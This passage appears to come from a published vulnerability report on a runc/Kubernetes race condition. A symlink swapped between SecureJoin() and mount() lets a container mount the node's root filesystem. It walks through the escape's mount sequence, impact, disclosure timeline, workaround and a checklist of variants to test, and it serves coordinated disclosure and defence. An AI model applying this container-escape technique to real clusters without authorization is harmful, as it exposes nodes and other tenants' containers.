If mntX is a directory when SecureJoin() runs and has become a symlink by the time mount() runs, the kernel follows the symlink and the mount lands elsewhere:

Text
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)

Instead of attaching test2 at mntX, the mount now attaches it at the parent kubernetes.io~empty-dir folder. After that, the filesystem looks like:

Text
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /

Now the test2 volume itself is a shortcut to the node root. The final mount:

Text
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

resolves to:

Text
mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

which gives the container full access to the node root, including /dev, /proc, and the tmpfs and overlay filesystems of other containers. That is the escape: the container's /test1/zzz is now the node's /.

runc calls unshare(CLONE_NEWNS) and sets mount propagation to MS_SLAVE, so the mounts do not affect other containers or the node directly. unshare(CLONE_NEWNS) puts the process into a fresh mount namespace, its own private view of what is mounted where. MS_SLAVE means changes made in this namespace do not propagate back out to the parent. That is also why an early attempt to mount the tmpfs volume over a host path such as /root/.ssh did not work: the mounts happen in a new mount namespace with the right propagation, so they are not visible in the host mount namespace.

Kubernetes does not give the attacker control over the mount source, but it does give full control over the mount target, which is enough. The author also notes that the vulnerability exists because untrusted or restricted container definitions were not part of the initial threat model of Docker and runc and were added later by Kubernetes. Kubernetes is sometimes described as multi-tenant, but that should be understood as multiple trusted teams, not as giving API access to strangers.

Impact

An attacker who can create a pod with multiple containers sharing volumes can, when the race is won, obtain a mount of the node root filesystem inside a container. From there the whole node root is accessible, including /dev, /proc, and the tmpfs and overlay filesystems of other containers. The race is not deterministic: on the first successful run, 6 of 19 containers were exploited, some failed to start, and the rest were unaffected. The author also tested against GKE Autopilot, Google's fully managed Kubernetes offering launched on 24 February with an emphasis on security and theoretically no access to the node, and reported it to Google after testing.

The fix and workaround

The report does not describe the code change itself. The advisory was published on GitHub and on OSS-Security at the end of the embargo on 19 May 2021. As a workaround, the author suggests forbidding mounting volumes inside volumes, while recommending an upgrade as usual. In the closing comments he observes that even with newer syscalls such as openat2() you still need mount(/proc/self/fd/X, /proc/self/fd/Y) to be race free, and wonders how useful a new mount flag that fails when one of the parameters is a symlink would be, calling the current situation a huge footgun.

Variants to test

  • Try the same symlink-exchange race against any runtime that resolves a mount destination with a path-based check and then calls mount() separately. A positive result is a mount appearing at a path outside the intended rootfs, for example the node root visible inside a container.
  • Look for other places where a path is validated and then used, with a window in between: volume mounts, bind mounts, and any code that follows the SecureJoin pattern. A positive result is the validated path being replaced by a symlink before use.
  • On Kubernetes, test pods with several containers sharing volumes where one starts well before the others, for example through image pull timing. A positive result is a container whose mount target lists the node filesystem instead of the volume contents.
  • Check whether /proc/self/mountinfo inside a container reveals the host volume paths, as the author notes it leaks everything needed to find them. A positive result is the kubernetes.io~empty-dir paths being readable from inside the container.
  • Test whether a mount flag or syscall that refuses symlink arguments would close the window, and whether openat2()-based resolution combined with mount(/proc/self/fd/X, /proc/self/fd/Y) removes the race. A positive result is the race no longer producing a mount outside the rootfs.

Timeline

  • 2020-11-??: Discover SecureJoinVFS() comment
  • 2020-12-26: Initial report to [redacted] (Merry Christmas :) )
  • 2020-12-27: Report acknowledgment
  • 2021-03-06: Report to Google for their new GKE Autopilot
  • 2021-04-07: Got added to discussions around the fix
  • 2021-04-08: Google bounty :) (to be donated to Handicap International)
  • 2021-05-19: End of embargo, advisory published on GitHub and on OSS-Security
  • 2021-05-30: Write-up + POC public

Acknowledgments

Thanks to Aleksa Sarai (runc maintainer) for his fast responses and all his work, to Noah Meyerhans and Samuel Karp for their help fixing and testing, and to Google for the bounty.

Glossary

  • Container: an isolated way of running a program so it sees its own files and processes, while sharing the real machine with others.
  • Kubernetes (K8s): a system that runs and manages many containers across many machines.
  • Pod: the smallest unit Kubernetes schedules; one or more containers always placed together and able to share storage.
  • Volume: a folder made available to a container, optionally shared between containers in a pod.
  • emptyDir: a scratch volume created fresh when a pod starts; with medium: "Memory" it lives in RAM.
  • Mount: attaching a folder so its contents appear at another path.
  • System call: a request a program makes to the operating system kernel.
  • Symlink (symbolic link): a shortcut file that points at another path; opening it opens the target.
  • runc: the program that creates a container: sets up its filesystem, attaches volumes, starts the first process.
  • kubectl: the command-line tool for talking to a Kubernetes cluster.
  • Image: the packaged filesystem and starting command for a container, stored in a registry.
  • Registry: an online library of container images.
  • Mount namespace: an isolated view of what is mounted where.
  • TOCTOU (time-of-check to time-of-use): a race where a program checks something, and by the time it acts, the thing has changed.
  • renameat2 / RENAME_EXCHANGE: a Linux system call that atomically swaps two filesystem entries.
  • securejoin / SecureJoinVFS(): a helper library that resolves a path safely so symlinks cannot lead outside a chosen root folder.
  • strace: a tool that shows every system call a program makes.
  • /proc/self/mountinfo: a file listing everything currently mounted, from the reading process's point of view.
  • CVE: a public identifier for a known security flaw.
  • Bounty: a reward paid for a responsible security report.
  • Embargo: a period during which a reported flaw is kept private so the vendor can fix it first.
  • GKE Autopilot: a GKE variant where Google manages the nodes entirely.
  • Downward API: a Kubernetes feature that passes information about a pod into its containers, for example as environment variables.
  • YAML: a human-friendly data format used to describe Kubernetes objects.
  • tmpfs: a filesystem kept in RAM rather than on disk.
  • unshare(CLONE_NEWNS): a system call that puts a process into a fresh mount namespace.
  • MS_SLAVE: a mount propagation setting meaning changes in this namespace do not propagate back to the parent.
  • openat2(): a newer Linux system call for opening files with stricter, race-resistant path resolution.
  • Multi-tenant: a system shared by several parties; in Kubernetes this usually means several trusted teams, not strangers.
  • Threat model: the set of attackers and situations a system is designed to defend against.

More by Etienne Champetier

View all

4 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.